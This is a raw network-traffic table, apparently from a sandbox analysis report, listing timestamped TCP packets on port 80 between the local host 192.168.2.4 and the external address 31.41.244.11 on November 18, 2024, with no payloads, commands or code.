Nov 18, 2024 23:04:16.191713095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191732883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191746950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191755056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191781998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191792965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191817045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191828966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191853046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191863060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191885948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191905022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191924095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191937923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191955090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191977978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191991091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192007065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192020893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192049980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192071915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192073107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192109108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192121029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192142010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192158937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192176104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192188978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192210913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192224026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192250013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192265987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192300081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192504883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192557096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192560911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192591906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192604065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192627907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192639112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192663908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192675114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192698956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192709923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192734003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192744017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192769051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192783117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192805052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192827940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192837954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192847013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192873001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192883968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192908049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192919016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192943096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192955017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.192976952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.192991972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193011999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193022966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193047047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193064928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193082094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193098068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193114996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193130970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193150043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193164110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193203926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193361044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193393946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193420887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193428993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193439960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193479061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193483114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193512917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193536997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193547010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193547010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193582058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193604946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193615913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193628073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193650961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193664074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193685055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193698883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193720102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193730116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193753958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193763971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193788052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193810940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193818092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193842888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193851948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193866014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193886042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193907976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193917990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193926096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193952084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193964958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.193986893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.193999052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194021940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194030046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194077015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194327116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194360971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194386959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194394112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194399118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194430113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194439888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194483995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194510937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194516897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194525957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194550991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194564104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194585085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194592953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194618940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194636106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194653034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194669008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194688082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194698095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194721937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194732904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194756031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194767952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194791079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194803953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194824934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194835901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194859028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194868088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194894075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194909096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194928885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194942951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194962978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.194978952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.194997072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.195010900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.195029974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.195043087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.195065022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.195075989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.195101023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.195112944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.195137978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.195147991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.195168972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.195194006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.195221901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260360956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260437012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260457993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260474920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260483027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260510921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260548115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260566950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260582924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260603905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260636091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260639906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260674000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260711908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260727882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260731936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260763884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260775089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260799885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260809898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260833979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260869026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260881901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260902882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260915041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260941029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.260952950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.260977030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261001110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.261010885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261025906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.261044979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261058092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.261077881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261105061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.261122942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.261128902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261164904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261198044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261219025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.261233091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261250019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.261267900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261284113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.261302948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261337042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.261351109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.261380911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.263689041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.263725996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.263751984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.263772964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.263780117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.263814926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.263849020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.263863087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.263881922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.263896942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.263920069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.263926029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.263967991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264009953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264044046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264061928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264080048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264090061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264115095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264147997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264148951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264169931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264184952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264189005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264230013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264436007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264470100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264492989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264503956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264514923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264539003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264549971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264573097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264607906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264612913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264640093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264642000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264655113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264677048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264710903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264729977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264744043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264763117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264780045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264796019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264938116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264956951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.264971972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.264986038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265007019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265018940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265043020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265055895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265077114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265091896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265111923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265145063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265146017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265166998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265178919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265187979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265213013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265228033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265247107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265258074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265280962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265314102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265315056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265338898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265348911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265358925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265384912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265396118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265420914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265436888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265460014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265470028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265491962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265506983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265523911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265542984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265577078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265832901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265849113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265863895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265878916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265883923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265894890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265911102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265918970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265928984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265944004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.265954971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.265975952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305244923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305296898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305356026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305368900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305392027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305418015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305433035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305465937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305466890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305489063 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305521965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305525064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305573940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305610895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305634975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305644035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305674076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305680037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305715084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305716991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305742979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305749893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305771112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305783987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305792093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305818081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305839062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305851936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305862904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305887938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305924892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305936098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305959940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.305964947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.305995941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.306035042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.306050062 CET	49794	80	192.168.2.4	31.41.244.11
